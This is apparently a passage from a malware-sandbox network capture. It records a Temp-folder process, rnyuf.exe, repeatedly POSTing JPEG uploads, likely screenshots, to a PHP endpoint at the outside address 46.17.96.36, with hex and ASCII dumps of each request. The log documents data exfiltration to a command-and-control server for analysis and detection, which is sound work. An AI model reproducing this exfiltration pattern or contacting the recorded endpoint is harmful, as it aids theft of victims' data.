Aug 29, 2021 22:27:31.714761019 CEST	6340	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:31.819341898 CEST	6407	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49786	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:32.041176081 CEST	6408	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716 Host: 46.17.96.36 Content-Length: 110651 Cache-Control: no-cache
Aug 29, 2021 22:27:32.041301966 CEST	6408	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 39 30 36 62 30 62 66 61 31 35 62 38 34 38 32 36 34 63 63 39 37 39 30 33 63 38 64 66 37 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0906b0bfa15b848264cc97903c8df716Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:32.041528940 CEST	6418	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:32.041686058 CEST	6421	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:32.074615002 CEST	6424	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:32.074681997 CEST	6429	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:32.074702978 CEST	6443	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:32.074850082 CEST	6446	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:32.107547045 CEST	6452	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:32.107620955 CEST	6465	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:32.107846975 CEST	6470	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:27:32.212160110 CEST	6519	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49787	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:32.446971893 CEST	6520	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716 Host: 46.17.96.36 Content-Length: 110651 Cache-Control: no-cache
Aug 29, 2021 22:27:32.447123051 CEST	6520	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 39 30 36 62 30 62 66 61 31 35 62 38 34 38 32 36 34 63 63 39 37 39 30 33 63 38 64 66 37 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0906b0bfa15b848264cc97903c8df716Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:32.447329044 CEST	6530	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:32.447386980 CEST	6533	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:32.479619026 CEST	6536	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:32.479657888 CEST	6538	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:32.479669094 CEST	6541	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:32.479856968 CEST	6553	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:32.479923964 CEST	6556	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:32.480144024 CEST	6558	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:32.512106895 CEST	6561	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:32.618901014 CEST	6632	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49740	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:10.261569023 CEST	1556	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----c40968ed499c6f5938534922f4d89073 Host: 46.17.96.36 Content-Length: 107710 Cache-Control: no-cache
Aug 29, 2021 22:27:10.261873960 CEST	1556	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 34 30 39 36 38 65 64 34 39 39 63 36 66 35 39 33 38 35 33 34 39 32 32 66 34 64 38 39 30 37 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------c40968ed499c6f5938534922f4d89073Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:10.262332916 CEST	1566	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:10.262840986 CEST	1569	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:10.294378042 CEST	1577	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:10.294553041 CEST	1588	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:10.294594049 CEST	1589	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:27:10.294845104 CEST	1594	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:10.326399088 CEST	1597	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:10.326451063 CEST	1600	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:10.326603889 CEST	1611	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:10.429145098 CEST	1664	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49788	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:32.837137938 CEST	6633	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716 Host: 46.17.96.36 Content-Length: 110651 Cache-Control: no-cache
Aug 29, 2021 22:27:32.837280035 CEST	6633	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 39 30 36 62 30 62 66 61 31 35 62 38 34 38 32 36 34 63 63 39 37 39 30 33 63 38 64 66 37 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0906b0bfa15b848264cc97903c8df716Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:32.837452888 CEST	6643	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:32.837569952 CEST	6646	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:32.869875908 CEST	6651	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:32.869909048 CEST	6657	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:32.870141983 CEST	6666	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:32.870187998 CEST	6671	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:32.902416945 CEST	6674	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:32.902502060 CEST	6679	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
